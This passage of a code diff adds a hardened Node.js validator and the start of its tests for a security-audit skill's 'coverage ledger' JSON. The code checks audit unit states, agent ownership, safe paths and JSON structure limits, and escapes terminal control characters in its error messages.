MAX_DIAGNOSTIC_STRING_LENGTH)}...` + : value; + serialized = JSON.stringify(clipped); + } else if (value === null || typeof value === "boolean") { + serialized = String(value); + } else if (typeof value === "number" && Number.isFinite(value)) { + serialized = String(value); + } else { + serialized = `"<${Array.isArray(value) ? "array" : typeof value}>"`; + } + return escapeUnsafeDiagnosticCharacters(serialized); +} + +function createErrorList() { + const errors = []; + Object.defineProperty(errors, "push", { + value(...messages) { + const remaining = LIMITS.validationErrors - this.length; + if (remaining > 0) { + Array.prototype.push.apply(this, messages.slice(0, remaining).map(escapeUnsafeDiagnosticCharacters)); + } + return this.length; + }, + }); + return errors; +} + +function isObject(value) { + return value !== null && typeof value === "object" && !Array.isArray(value); +} + +function preflightJsonText(contents) { + const containers = []; + let rootState = "value"; + let inString = false; + let escaped = false; + let totalValues = 0; + + function fail(message) { + throw new JsonStructureError(`input ${message}`); + } + + function currentContainer() { + return containers[containers.length - 1]; + } + + function countValue() { + totalValues++; + if (totalValues > LIMITS.preflightValues) { + fail(`exceeds ${LIMITS.preflightValues} total value limit`); + } + } + + function beginValue() { + const container = currentContainer(); + if (!container) { + if (rootState !== "value") fail("has malformed JSON structure"); + rootState = "end"; + } else if (container.type === "array") { + if (container.state !== "firstValueOrEnd" && container.state !== "value") { + fail("has malformed JSON array structure"); + } + container.items++; + const limit = container.topLevel ? MAX_UNITS : LIMITS.collectionItems; + if (container.items > limit) { + fail(container.topLevel + ? `exceeds ${limit} top-level unit limit` + : `exceeds ${limit} item array limit`); + } + container.state = "commaOrEnd"; + } else { + if (container.state !== "value") fail("has malformed JSON object structure"); + container.state = "commaOrEnd"; + } + countValue(); + } + + function beginString() { + const container = currentContainer(); + if (container && container.type === "object" && + (container.state === "firstKeyOrEnd" || container.state === "key")) { + container.fields++; + if (container.fields > LIMITS.objectFields) { + fail(`exceeds ${LIMITS.objectFields} field object limit`); + } + container.state = "colon"; + } else { + beginValue(); + } + inString = true; + } + + function beginContainer(type) { + beginValue(); + if (containers.length >= LIMITS.nestingDepth) { + fail(`exceeds nesting depth limit ${LIMITS.nestingDepth}`); + } + containers.push(type === "array" + ? { type, state: "firstValueOrEnd", items: 0, topLevel: containers.length === 0 } + : { type, state: "firstKeyOrEnd", fields: 0 }); + } + + function closeContainer(type) { + const container = currentContainer(); + if (!container || container.type !== type) fail("has mismatched JSON containers"); + const canClose = type === "array" + ? container.state === "firstValueOrEnd" || container.state === "commaOrEnd" + : container.state === "firstKeyOrEnd" || container.state === "commaOrEnd"; + if (!canClose) fail(`has malformed JSON ${type} structure`); + containers.pop(); + } + + function isWhitespace(character) { + return character === " " || character === "\t" || character === "\r" || character === "\n"; + } + + function isTokenDelimiter(character) { + return isWhitespace(character) || character === "," || character === ":" || + character === "[" || character === "]" || character === "{" || + character === "}" || character === "\""; + } + + for (let index = 0; index < contents.length; index++) { + const character = contents[index]; + if (inString) { + if (escaped) { + escaped = false; + } else if (character === "\\") { + escaped = true; + } else if (character === "\"") { + inString = false; + } + continue; + } + if (isWhitespace(character)) continue; + + if (character === "\"") { + beginString(); + } else if (character === "[") { + beginContainer("array"); + } else if (character === "{") { + beginContainer("object"); + } else if (character === "]") { + closeContainer("array"); + } else if (character === "}") { + closeContainer("object"); + } else if (character === ":") { + const container = currentContainer(); + if (!container || container.type !== "object" || container.state !== "colon") { + fail("has malformed JSON object structure"); + } + container.state = "value"; + } else if (character === ",") { + const container = currentContainer(); + if (!container || container.state !== "commaOrEnd") fail("has malformed JSON collection structure"); + container.state = container.type === "array" ? "value" : "key"; + } else { + beginValue(); + while (index + 1 < contents.length && !isTokenDelimiter(contents[index + 1])) index++; + } + } + + if (inString) fail("has an unterminated JSON string"); + if (containers.length > 0) fail("has truncated JSON structure"); + if (rootState !== "end") fail("has no JSON value"); +} + +function preflightDocument(root) { + const errors = createErrorList(); + const stack = [{ value: root, depth: 0, location: "$" }]; + let visited = 0; + + while (stack.length > 0) { + const { value, depth, location } = stack.pop(); + visited++; + if (visited > LIMITS.preflightValues) { + errors.push(`$: exceeds ${LIMITS.preflightValues} total values`); + return errors; + } + if (value === null || typeof value !== "object") continue; + if (depth >= LIMITS.nestingDepth) { + errors.push(`${location}: exceeds nesting depth limit ${LIMITS.nestingDepth}`); + return errors; + } + + if (Array.isArray(value)) { + const limit = location === "$" ? MAX_UNITS : MAX_LIST_ITEMS; + if (value.length > limit) { + errors.push(`${location}: exceeds ${limit} entries`); + return errors; + } + for (let index = value.length - 1; index >= 0; index--) { + stack.push({ value: value[index], depth: depth + 1, location: `${location}[${index}]` }); + } + continue; + } + + const keys = Object.keys(value); + if (keys.length > LIMITS.objectFields) { + errors.push(`${location}: exceeds ${LIMITS.objectFields} object fields`); + return errors; + } + for (let index = keys.length - 1; index >= 0; index--) { + const key = keys[index]; + stack.push({ value: value[key], depth: depth + 1, location: `${location}{${index}}` }); + } + } + + return errors; +} + +function hasValidUnicodeScalarValues(value) { + let index = 0; + while (index < value.length) { + const first = value.charCodeAt(index++); + if (first >= 0xd800 && first <= 0xdbff) { + if (index >= value.length) return false; + const second = value.charCodeAt(index++); + if (second < 0xdc00 || second > 0xdfff) return false; + } else if (first >= 0xdc00 && first <= 0xdfff) { + return false; + } + } + return true; +} + +function hasVisibleProse(value) { + return hasValidUnicodeScalarValues(value) && VISIBLE_CONTENT.test(value); +} + +function isVisibleText(value, maxLength = MAX_TEXT_LENGTH) { + return typeof value === "string" && + value.length > 0 && + value.length <= maxLength && + value.trim() === value && + hasVisibleProse(value); +} + +function isCanonicalRef(value) { + return isVisibleText(value, 1024) && + !PATH_FORBIDDEN_CHARACTER.test(value) && + value.normalize("NFC") === value; +} + +function encodeCanonicalRef(value) { + if (!isCanonicalRef(value)) throw new TypeError("invalid canonical reference"); + let encoded = ""; + for (const byte of Buffer.from(value, "utf8")) { + const unreserved = + (byte >= 0x41 && byte <= 0x5a) || + (byte >= 0x61 && byte <= 0x7a) || + (byte >= 0x30 && byte <= 0x39) || + byte === 0x2d || byte === 0x2e || byte === 0x5f || byte === 0x7e; + encoded += unreserved ? String.fromCharCode(byte) : `%${byte.toString(16).toUpperCase().padStart(2, "0")}`; + } + return encoded; +} + +function canonicalCoverageId(refs) { + if (!isObject(refs)) throw new TypeError("canonical_refs must be an object"); + const fields = hasOwn(refs, "lifecycle") ? [...REF_FIELDS, "lifecycle"] : REF_FIELDS; + if (Object.keys(refs).length !== fields.length || fields.some((field) => !hasOwn(refs, field))) { + throw new TypeError("canonical_refs has missing or unexpected fields"); + } + return fields.map((field) => encodeCanonicalRef(refs[field])).join("::"); +} + +function isSafeRelativePath(value) { + if (typeof value !== "string" || value.length === 0 || !hasValidUnicodeScalarValues(value) || value.trim() !== value || PATH_FORBIDDEN_CHARACTER.test(value) || value.includes("\\") || value.includes(":")) return false; + if (path.posix.isAbsolute(value) || path.win32.isAbsolute(value) || /^[A-Za-z]:/.test(value) || value.startsWith("~")) return false; + return value.split("/").every((segment) => + segment !== "" && + segment !== "." && + segment !== ".." && + !/[ .]$/u.test(segment) && + !WINDOWS_RESERVED_COMPONENT.test(segment)); +} + +function isSafeAgentId(value) { + return typeof value === "string" && + AGENT_ID_PATTERN.test(value) && + !WINDOWS_RESERVED_AGENT_ID.test(value); +} + +function isOwnedArtifactPath(value, agentId) { + if (!isSafeAgentId(agentId) || !isSafeRelativePath(value)) return false; + const prefix = `agents/${agentId}/artifacts/`; + return value.startsWith(prefix) && value.length > prefix.length; +} + +function validateStringArray(value, location, errors, options = {}) { + const { allowEmpty = true, fingerprint = false, pathValue = false } = options; + if (!Array.isArray(value)) { + errors.push(`${location}: expected array`); + return; + } + if (!allowEmpty && value.length === 0) errors.push(`${location}: must not be empty`); + if (value.length > MAX_LIST_ITEMS) errors.push(`${location}: exceeds ${MAX_LIST_ITEMS} entries`); + const seen = new Set(); + value.slice(0, MAX_LIST_ITEMS).forEach((entry, index) => { + const entryLocation = `${location}[${index}]`; + const valid = pathValue ? isSafeRelativePath(entry) : isVisibleText(entry); + if (!valid) errors.push(`${entryLocation}: invalid ${pathValue ? "repository-relative path" : "text"}`); + if (fingerprint && typeof entry === "string" && !FINGERPRINT_PATTERN.test(entry)) { + errors.push(`${entryLocation}: invalid fingerprint`); + } + if (typeof entry === "string" && seen.has(entry)) errors.push(`${entryLocation}: duplicate entry`); + if (typeof entry === "string") seen.add(entry); + }); +} + +function validateChecks(value, location, errors) { + if (!Array.isArray(value)) { + errors.push(`${location}: expected array`); + return; + } + if (value.length > MAX_LIST_ITEMS) errors.push(`${location}: exceeds ${MAX_LIST_ITEMS} entries`); + value.slice(0, MAX_LIST_ITEMS).forEach((check, index) => { + const base = `${location}[${index}]`; + if (!isObject(check)) { + errors.push(`${base}: expected object`); + return; + } + for (const field of ["agent_id", "reviewed_paths", "invariant", "method", "result", "artifact"]) { + if (!hasOwn(check, field)) errors.push(`${base}: missing required field ${safeQuote(field)}`); + } + if (!isSafeAgentId(check.agent_id)) errors.push(`${base}.agent_id: expected a canonical lowercase agent ID`); + validateStringArray(check.reviewed_paths, `${base}.reviewed_paths`, errors, { allowEmpty: false, pathValue: true }); + if (!isVisibleText(check.invariant)) errors.push(`${base}.invariant: invalid text`); + if (check.method !== "source" && check.method !== "local") errors.push(`${base}.method: expected "source" or "local"`); + if (!isVisibleText(check.result)) errors.push(`${base}.result: invalid text`); + if (check.method === "source" && check.artifact !== null) { + errors.push(`${base}.artifact: source-only check must use null`); + } else if (check.method === "local") { + if (!isOwnedArtifactPath(check.artifact, check.agent_id)) { + errors.push(`${base}.artifact: local check requires an artifact owned by agent ${safeQuote(isSafeAgentId(check.agent_id) ? check.agent_id : "")}`); + } + } else if (check.method !== "source" && check.method !== "local" && check.artifact !== null && !isSafeRelativePath(check.artifact)) { + errors.push(`${base}.artifact: expected null or a safe output-relative path`); + } + }); +} + +function validateReviewedPathOwnership(unit, base, errors) { + if (!Array.isArray(unit.reviewed_paths) || !Array.isArray(unit.local_checks)) return; + const aggregatePaths = new Set(unit.reviewed_paths.filter((value) => typeof value === "string")); + const ownedPaths = new Set(); + for (const check of unit.local_checks) { + if (!isObject(check) || !Array.isArray(check.reviewed_paths)) continue; + for (const reviewedPath of check.reviewed_paths) { + if (typeof reviewedPath === "string") ownedPaths.add(reviewedPath); + } + } + for (const reviewedPath of aggregatePaths) { + if (!ownedPaths.has(reviewedPath)) errors.push(`${base}.reviewed_paths: ${safeQuote(reviewedPath)} has no check owner`); + } + for (const reviewedPath of ownedPaths) { + if (!aggregatePaths.has(reviewedPath)) errors.push(`${base}.local_checks: owned path ${safeQuote(reviewedPath)} is absent from aggregate reviewed_paths`); + } +} + +function validateExcludedBlocks(value, location, errors) { + if (!Array.isArray(value)) { + errors.push(`${location}: expected array`); + return; + } + if (value.length > MAX_LIST_ITEMS) errors.push(`${location}: exceeds ${MAX_LIST_ITEMS} entries`); + const seen = new Set(); + value.slice(0, MAX_LIST_ITEMS).forEach((entry, index) => { + const base = `${location}[${index}]`; + if (!isObject(entry)) { + errors.push(`${base}: expected object`); + return; + } + if (!isVisibleText(entry.block)) errors.push(`${base}.block: invalid text`); + if (!isVisibleText(entry.reason)) errors.push(`${base}.reason: invalid text`); + if (typeof entry.block === "string" && seen.has(entry.block)) errors.push(`${base}.block: duplicate entry`); + if (typeof entry.block === "string") seen.add(entry.block); + }); +} + +function semanticKey(unit) { + return JSON.stringify([ + unit.surface, + unit.boundary, + unit.subsystem, + unit.attack_class, + hasOwn(unit, "lifecycle") ? unit.lifecycle : null, + ]); +} + +function hasValidSemanticFields(unit) { + return ["surface", "boundary", "subsystem", "attack_class"].every((field) => isVisibleText(unit[field])) && + (!hasOwn(unit, "lifecycle") || isVisibleText(unit.lifecycle)); +} + +function requireEmptyArray(unit, field, base, errors) { + if (Array.isArray(unit[field]) && unit[field].length > 0) { + errors.push(`${base}.${field}: unit with status ${safeQuote(unit.status)} must keep this array empty`); + } +} + +function requireNonemptyArray(unit, field, base, errors) { + if (!Array.isArray(unit[field]) || unit[field].length === 0) { + errors.push(`${base}.${field}: unit with status ${safeQuote(unit.status)} requires entries`); + } +} + +function validateStateInvariants(unit, base, errors) { + const emptyEvidence = () => { + requireEmptyArray(unit, "reviewed_paths", base, errors); + requireEmptyArray(unit, "local_checks", base, errors); + }; + const requireOwner = () => { + if (!isSafeAgentId(unit.agent_id)) errors.push(`${base}.agent_id: unit with status ${safeQuote(unit.status)} requires a canonical lowercase agent ID`); + }; + + if (unit.status !== "candidate") requireEmptyArray(unit, "result_fingerprints", base, errors); + + switch (unit.status) { + case "planned": + if (unit.agent_id !== null) errors.push(`${base}.agent_id: planned unit must be unassigned`); + emptyEvidence(); + requireEmptyArray(unit, "unresolved", base, errors); + break; + case "not_applicable": + case "out_of_scope": + case "deferred": + if (unit.agent_id !== null) errors.push(`${base}.agent_id: unit with status ${safeQuote(unit.status)} must be unassigned`); + emptyEvidence(); + requireNonemptyArray(unit, "unresolved", base, errors); + break; + case "in_progress": + requireOwner(); + emptyEvidence(); + requireEmptyArray(unit, "unresolved", base, errors); + break; + case "blocked": + requireOwner(); + requireNonemptyArray(unit, "reviewed_paths", base, errors); + requireNonemptyArray(unit, "local_checks", base, errors); + requireNonemptyArray(unit, "unresolved", base, errors); + break; + case "covered": + requireOwner(); + requireNonemptyArray(unit, "reviewed_paths", base, errors); + requireNonemptyArray(unit, "local_checks", base, errors); + requireEmptyArray(unit, "unresolved", base, errors); + break; + case "candidate": + requireOwner(); + requireNonemptyArray(unit, "reviewed_paths", base, errors); + requireNonemptyArray(unit, "local_checks", base, errors); + requireNonemptyArray(unit, "result_fingerprints", base, errors); + break; + } +} + +function validateAttempts(value, unit, base, errors) { + if (!Array.isArray(value)) { + errors.push(`${base}.attempts: expected array`); + return; + } + if (value.length > MAX_LIST_ITEMS) errors.push(`${base}.attempts: exceeds ${MAX_LIST_ITEMS} entries`); + + const priorOwners = new Set(); + const priorArtifacts = new Set(); + let previousWave = 0; + value.slice(0, MAX_LIST_ITEMS).forEach((attempt, index) => { + const attemptBase = `${base}.attempts[${index}]`; + if (!isObject(attempt)) { + errors.push(`${attemptBase}: expected object`); + return; + } + for (const field of ATTEMPT_FIELDS) { + if (!hasOwn(attempt, field)) errors.push(`${attemptBase}: missing required field ${safeQuote(field)}`); + } + if (!Number.isInteger(attempt.wave) || attempt.wave < 1) { + errors.push(`${attemptBase}.wave: expected a positive integer`); + } else { + if (attempt.wave <= previousWave) errors.push(`${attemptBase}.wave: archived attempt waves must be strictly increasing`); + if (Number.isInteger(unit.wave) && attempt.wave >= unit.wave) { + errors.push(`${attemptBase}.wave: archived attempt wave must precede current wave ${safeQuote(unit.wave)}`); + } + previousWave = attempt.wave; + } + if (!ATTEMPT_STATUSES.has(attempt.status)) { + errors.push(`${attemptBase}.status: expected "covered", "candidate", or "blocked"`); + } + let hasFreshOwner = false; + if (!isSafeAgentId(attempt.agent_id)) { + errors.push(`${attemptBase}.agent_id: archived attempt requires a canonical lowercase agent ID`); + } else if (priorOwners.has(attempt.agent_id)) { + errors.push(`${attemptBase}.agent_id: assignment owner must be fresh for each attempt`); + } else { + hasFreshOwner = true; + } + validateStringArray(attempt.reviewed_paths, `${attemptBase}.reviewed_paths`, errors, { pathValue: true }); + validateChecks(attempt.local_checks, `${attemptBase}.local_checks`, errors); + validateReviewedPathOwnership(attempt, attemptBase, errors); + validateStringArray(attempt.result_fingerprints, `${attemptBase}.result_fingerprints`, errors, { fingerprint: true }); + validateStringArray(attempt.unresolved, `${attemptBase}.unresolved`, errors); + if (!isVisibleText(attempt.reassignment_reason)) errors.push(`${attemptBase}.reassignment_reason: invalid text`); + validateStateInvariants(attempt, attemptBase, errors); + + if (Array.isArray(attempt.local_checks)) { + attempt.local_checks.forEach((check, checkIndex) => { + if (!isObject(check)) return; + if (priorOwners.has(check.agent_id)) { + errors.push(`${attemptBase}.local_checks[${checkIndex}].agent_id: prior assignment owner evidence must remain in its earlier attempt`); + } + if (typeof check.artifact === "string" && priorArtifacts.has(check.artifact)) { + errors.push(`${attemptBase}.local_checks[${checkIndex}].artifact: artifact from an earlier attempt cannot be reused`); + } + if (check.method === "local" && typeof check.artifact === "string") priorArtifacts.add(check.artifact); + }); + } + if (hasFreshOwner) priorOwners.add(attempt.agent_id); + }); + + if (isSafeAgentId(unit.agent_id) && priorOwners.has(unit.agent_id)) { + errors.push(`${base}.agent_id: current assignment owner must be fresh after reassignment`); + } + if (Array.isArray(unit.local_checks)) { + unit.local_checks.forEach((check, index) => { + if (!isObject(check)) return; + if (priorOwners.has(check.agent_id)) { + errors.push(`${base}.local_checks[${index}].agent_id: prior assignment owner evidence must remain in its archived attempt`); + } + if (typeof check.artifact === "string" && priorArtifacts.has(check.artifact)) { + errors.push(`${base}.local_checks[${index}].artifact: artifact from an archived attempt cannot be reused`); + } + }); + } +} + +function collectUnitErrors(unit, index) { + const errors = createErrorList(); + const base = `$[${index}]`; + if (!isObject(unit)) return [`${base}: expected object`]; + + for (const field of REQUIRED_FIELDS) { + if (!hasOwn(unit, field)) errors.push(`${base}: missing required field ${safeQuote(field)}`); + } + for (const field of ["surface", "boundary", "subsystem", "attack_class"]) { + if (!isVisibleText(unit[field])) errors.push(`${base}.${field}: invalid text`); + } + if (hasOwn(unit, "lifecycle") && !isVisibleText(unit.lifecycle)) errors.push(`${base}.lifecycle: invalid text`); + + let expectedId = null; + if (!isObject(unit.canonical_refs)) { + errors.push(`${base}.canonical_refs: expected object`); + } else { + const expectedFields = hasOwn(unit.canonical_refs, "lifecycle") ? [...REF_FIELDS, "lifecycle"] : REF_FIELDS; + for (const field of expectedFields) { + if (!hasOwn(unit.canonical_refs, field)) { + errors.push(`${base}.canonical_refs: missing required field ${safeQuote(field)}`); + } else if (!isCanonicalRef(unit.canonical_refs[field])) { + errors.push(`${base}.canonical_refs.${field}: invalid canonical reference`); + } + } + if (Object.keys(unit.canonical_refs).some((field) => !expectedFields.includes(field))) { + errors.push(`${base}.canonical_refs: contains unexpected fields`); + } + if (hasOwn(unit, "lifecycle") !== hasOwn(unit.canonical_refs, "lifecycle")) { + errors.push(`${base}: lifecycle and canonical_refs.lifecycle must appear together`); + } + try { + expectedId = canonicalCoverageId(unit.canonical_refs); + } catch { + // The specific reference errors above are more useful. + } + } + if (!isVisibleText(unit.coverage_id, 65536)) { + errors.push(`${base}.coverage_id: invalid text`); + } else if (expectedId !== null && unit.coverage_id !== expectedId) { + errors.push(`${base}.coverage_id: expected canonical ID ${safeQuote(expectedId)}`); + } + + validateStringArray(unit.starting_paths, `${base}.starting_paths`, errors, { allowEmpty: false, pathValue: true }); + if (unit.ordinary_attack_class_block !== null && !isVisibleText(unit.ordinary_attack_class_block)) { + errors.push(`${base}.ordinary_attack_class_block: expected null or non-empty text`); + } + validateStringArray(unit.selected_companion_blocks, `${base}.selected_companion_blocks`, errors); + validateExcludedBlocks(unit.excluded_blocks, `${base}.excluded_blocks`, errors); + if (Array.isArray(unit.selected_companion_blocks) && Array.isArray(unit.excluded_blocks)) { + const selected = new Set(unit.selected_companion_blocks); + unit.excluded_blocks.forEach((entry, blockIndex) => { + if (isObject(entry) && selected.has(entry.block)) { + errors.push(`${base}.excluded_blocks[${blockIndex}].block: block is also selected`); + } + }); + } + + if (!PRIOR_STATUSES.has(unit.prior_status)) errors.push(`${base}.prior_status: invalid value ${safeQuote(unit.prior_status)}`); + if (!STATUSES.has(unit.status)) errors.push(`${base}.status: invalid value ${safeQuote(unit.status)}`); + if (!Number.isInteger(unit.wave) || unit.wave < 1) errors.push(`${base}.wave: expected a positive integer`); + if (unit.agent_id !== null && !isSafeAgentId(unit.agent_id)) errors.push(`${base}.agent_id: expected null or a safe agent ID`); + + validateAttempts(unit.attempts, unit, base, errors); + validateStringArray(unit.reviewed_paths, `${base}.reviewed_paths`, errors, { pathValue: true }); + validateChecks(unit.local_checks, `${base}.local_checks`, errors); + validateReviewedPathOwnership(unit, base, errors); + validateStringArray(unit.result_fingerprints, `${base}.result_fingerprints`, errors, { fingerprint: true }); + validateStringArray(unit.unresolved, `${base}.unresolved`, errors); + + validateStateInvariants(unit, base, errors); + + return errors; +} + +function readFileWithinLimit(file) { + const noFollow = fs.constants.O_NOFOLLOW; + const nonBlock = fs.constants.O_NONBLOCK; + if (!Number.isInteger(noFollow) || noFollow === 0 || !Number.isInteger(nonBlock) || nonBlock === 0) { + // Node exposes no race-safe fallback on these platforms, so reject all inputs. + throw new SafeInputError("OS no-follow and nonblocking input protection is unavailable"); + } + + let descriptor; + try { + descriptor = fs.openSync(file, fs.constants.O_RDONLY | noFollow | nonBlock); + } catch (error) { + if (error && (error.code === "ELOOP" || error.code === "EMLINK")) throw new SafeInputError("input must not be a symlink"); + throw error; + } + try { + const stat = fs.fstatSync(descriptor); + if (!stat.isFile()) throw new SafeInputError("input must be a regular file"); + if (stat.size > MAX_INPUT_BYTES) throw new SafeInputError(`input exceeds ${MAX_INPUT_BYTES} byte limit`); + + const chunks = []; + const buffer = Buffer.allocUnsafe(64 * 1024); + let bytesRead = 0; + while (true) { + const count = fs.readSync(descriptor, buffer, 0, buffer.length, null); + if (count === 0) break; + bytesRead += count; + if (bytesRead > MAX_INPUT_BYTES) throw new SafeInputError(`input exceeds ${MAX_INPUT_BYTES} byte limit`); + chunks.push(Buffer.from(buffer.subarray(0, count))); + } + try { + return UTF8_DECODER.decode(Buffer.concat(chunks, bytesRead)); + } catch { + throw new SafeInputError("input is not valid UTF-8"); + } + } finally { + fs.closeSync(descriptor); + } +} + +function validateDocument(ledger) { + const errors = createErrorList(); + if (!Array.isArray(ledger)) { + errors.push("$: expected a top-level array"); + return errors; + } + if (ledger.length > MAX_UNITS) { + errors.push(`$: exceeds ${MAX_UNITS} coverage units`); + return errors; + } + + errors.push(...preflightDocument(ledger)); + if (errors.length > 0) return errors; + + const ids = new Map(); + const semantics = new Map(); + let previousId = null; + for (let index = 0; index < ledger.length && errors.length < LIMITS.validationErrors; index++) { + const unit = ledger[index]; + errors.push(...collectUnitErrors(unit, index)); + if (errors.length >= LIMITS.validationErrors) break; + if (!isObject(unit) || typeof unit.coverage_id !== "string") continue; + + const key = hasValidSemanticFields(unit) ? semanticKey(unit) : null; + if (ids.has(unit.coverage_id)) { + const previous = ids.get(unit.coverage_id); + const qualifier = key !== null && previous.key !== null && previous.key !== key + ? "canonical identity collision with different semantic fields" + : "duplicate coverage ID"; + errors.push(`$[${index}].coverage_id: ${qualifier} at $[${previous.index}]`); + } else { + ids.set(unit.coverage_id, { index, key }); + } + if (key !== null && semantics.has(key) && semantics.get(key).id !== unit.coverage_id) { + const previous = semantics.get(key); + errors.push(`$[${index}].canonical_refs: semantic tuple already uses coverage ID ${safeQuote(previous.id)} at $[${previous.index}]`); + } else if (key !== null) { + semantics.set(key, { id: unit.coverage_id, index }); + } + if (previousId !== null && previousId > unit.coverage_id) { + errors.push(`$[${index}].coverage_id: units must be sorted lexicographically`); + } + previousId = unit.coverage_id; + } + return errors; +} + +function run(file) { + if (!file) { + console.error("Usage: node validate-coverage-ledger.cjs "); + return 1; + } + + let contents; + try { + contents = readFileWithinLimit(file); + } catch (error) { + const reason = error instanceof SafeInputError ? error.message : "input could not be opened or read safely"; + console.error(`Failed to read coverage ledger: ${reason}`); + return 1; + } + + let ledger; + try { + preflightJsonText(contents); + } catch (error) { + const reason = error instanceof JsonStructureError ? error.message : "invalid JSON structure"; + console.error(`Failed to parse coverage ledger: ${reason}`); + return 1; + } + try { + ledger = JSON.parse(contents); + } catch { + console.error("Failed to parse coverage ledger: invalid JSON syntax"); + return 1; + } + + let errors; + try { + errors = validateDocument(ledger); + } catch { + console.error("Failed to validate coverage ledger: unexpected validation error"); + return 1; + } + for (const message of errors) console.error("ERROR:", message); + if (errors.length > 0) { + const cap = errors.length === LIMITS.validationErrors ? `; output capped at ${LIMITS.validationErrors}` : ""; + console.error(`FAIL: ${errors.length} validation error(s)${cap}`); + return 1; + } + console.log(`PASS: ${ledger.length} coverage units valid`); + return 0; +} + +module.exports = { + LIMITS, + PATH_FORBIDDEN_CHARACTER, + UNSAFE_DIAGNOSTIC_CHARACTER, + VISIBLE_CONTENT, + WINDOWS_RESERVED_COMPONENT, + canonicalCoverageId, + encodeCanonicalRef, + hasVisibleProse, + isSafeAgentId, + isSafeRelativePath, + preflightJsonText, + readFileWithinLimit, + safeQuote, + validateDocument, +}; + +if (require.main === module) process.exit(run(process.argv[2])); diff --git a/.agents/skills/security-audit/validate-coverage-ledger.test.cjs b/.agents/skills/security-audit/validate-coverage-ledger.test.cjs new file mode 100644 index 0000000..b1444f5 --- /dev/null +++ b/.agents/skills/security-audit/validate-coverage-ledger.test.cjs @@ -0,0 +1,740 @@ +const assert = require("node:assert/strict"); +const fs = require("node:fs"); +const os = require("node:os"); +const path = require("node:path"); +const { spawnSync } = require("node:child_process"); +const test = require("node:test"); +const { + LIMITS, + canonicalCoverageId, + encodeCanonicalRef, + isSafeAgentId, + isSafeRelativePath, + preflightJsonText, + validateDocument, +} = require("./validate-coverage-ledger.cjs"); + +const validatorPath = path.join(__dirname, "validate-coverage-ledger.cjs"); +const CLI_TIMEOUT_MS = 5000; +const HOSTILE_CLI_TIMEOUT_MS = 15000; +const HAS_SAFE_INPUT_OPEN = Number.isInteger(fs.constants.O_NOFOLLOW) && + fs.constants.O_NOFOLLOW !== 0 && + Number.isInteger(fs.constants.O_NONBLOCK) && + fs.constants.O_NONBLOCK !== 0; + +function unit(overrides = {}) { + const canonicalRefs = overrides.canonical_refs || { + surface: "src/router.ts#POST /users/:id", + boundary: "src/authz.ts#requireOwner", + subsystem: "packages/api", + attack_class: "ATTACK-CLASSES.md#Access control", + }; + const value = { + coverage_id: canonicalCoverageId(canonicalRefs), + canonical_refs: canonicalRefs, + surface: "Update-user route", + boundary: "Object ownership", + subsystem: "API", + attack_class: "Access control", + starting_paths: ["src/router.ts", "src/authz.ts"], + ordinary_attack_class_block: "ATTACK-CLASSES.md#Access control", + selected_companion_blocks: [], + excluded_blocks: [{ block: "WEB-PROTOCOL-AND-AUTH.md#Cache behavior", reason: "The route is not cached." }], + prior_status: "new", + attempts: [], + wave: 1, + status: "planned", + agent_id: null, + reviewed_paths: [], + local_checks: [], + result_fingerprints: [], + unresolved: [], + }; + return Object.assign(value, overrides, { canonical_refs: canonicalRefs }); +} + +function errorsFor(value) { + return validateDocument(value); +} + +function runCli(contents, options = {}) { + const { nodeArgs = [], timeout = CLI_TIMEOUT_MS } = options; + const directory = fs.mkdtempSync(path.join(os.tmpdir(), "validate-coverage-ledger-")); + const ledgerPath = path.join(directory, "coverage-ledger.json"); + try { + fs.writeFileSync(ledgerPath, contents); + return spawnSync(process.execPath, [...nodeArgs, validatorPath, ledgerPath], { + encoding: "utf8", + timeout, + }); + } finally { + fs.rmSync(directory, { recursive: true, force: true }); + } +} + +function cliOutput(result) { + return `${result.stdout}${result.stderr}`; +} + +const TERMINAL_CONTROL_PAYLOAD = "\u001b\u0007\u0085\u202e"; +const TERMINAL_CONTROL_BYTES = [ + Buffer.from([0x1b]), + Buffer.from([0x07]), + Buffer.from("\u0085"), + Buffer.from("\u202e"), +]; + +function assertNoInjectedControlBytes(output) { + const bytes = Buffer.isBuffer(output) ? output : Buffer.from(output, "utf8"); + for (const marker of TERMINAL_CONTROL_BYTES) { + assert.equal(bytes.indexOf(marker), -1, `found raw control bytes ${marker.toString("hex")}`); + } +} + +function sourceCheck(agentId = "hunter-1", overrides = {}) { + return { + agent_id: agentId, + reviewed_paths: ["src/router.ts"], + invariant: "The route checks object ownership.", + method: "source", + result: "The owner check applies before the update.", + artifact: null, + ...overrides, + }; +} + +function localCheck(agentId = "hunter-1", overrides = {}) { + return sourceCheck(agentId, { + method: "local", + result: "The bounded fixture accepted the other owner's object.", + artifact: `agents/${agentId}/artifacts/result.txt`, + ...overrides, + }); +} + +function archivedAttempt(overrides = {}) { + const value = { + wave: 1, + status: "blocked", + agent_id: "hunter-1", + reviewed_paths: ["src/router.ts"], + local_checks: [sourceCheck()], + result_fingerprints: [], + unresolved: ["The deployed policy is unavailable."], + reassignment_reason: "The critic found an unchecked parallel path.", + }; + return Object.assign(value, overrides); +} + +test("accepts an empty ledger and complete units", () => { + assert.deepEqual(errorsFor([]), []); + assert.deepEqual(errorsFor([unit()]), []); + + const missingAttempts = unit(); + delete missingAttempts.attempts; + assert(errorsFor([missingAttempts]).some((error) => error.includes('missing required field "attempts"'))); + + const covered = unit({ + status: "covered", + agent_id: "hunter-1", + reviewed_paths: ["src/router.ts"], + local_checks: [sourceCheck()], + }); + assert.deepEqual(errorsFor([covered]), []); +}); + +test("accepts a complete ledger through the CLI", { skip: !HAS_SAFE_INPUT_OPEN }, () => { + const result = runCli(JSON.stringify([unit()])); + assert.equal(result.status, 0, cliOutput(result)); + assert.match(result.stdout, /PASS: 1 coverage units valid/); +}); + +test("text preflight ignores structural characters and escapes inside strings", () => { + const value = unit({ + surface: "Route \\ slash [list] {object}, colon: quoted \"value\"", + excluded_blocks: [{ + block: "COMPANION.md#Literal [brackets] {braces}", + reason: "The text contains a backslash \\ before an escaped \"quote\".", + }], + }); + const contents = JSON.stringify([value]); + assert.doesNotThrow(() => preflightJsonText(contents)); + assert.deepEqual(JSON.parse(contents), [value]); + if (HAS_SAFE_INPUT_OPEN) { + const result = runCli(contents); + assert.equal(result.status, 0, cliOutput(result)); + } +}); + +test("text preflight enforces structural cardinality limits", () => { + const depthLimit = LIMITS.nestingDepth; + assert.doesNotThrow(() => preflightJsonText(`${"[".repeat(depthLimit)}0${"]".repeat(depthLimit)}`)); + assert.throws( + () => preflightJsonText(`${"[".repeat(depthLimit + 1)}0${"]".repeat(depthLimit + 1)}`), + /exceeds nesting depth limit 64/, + ); + 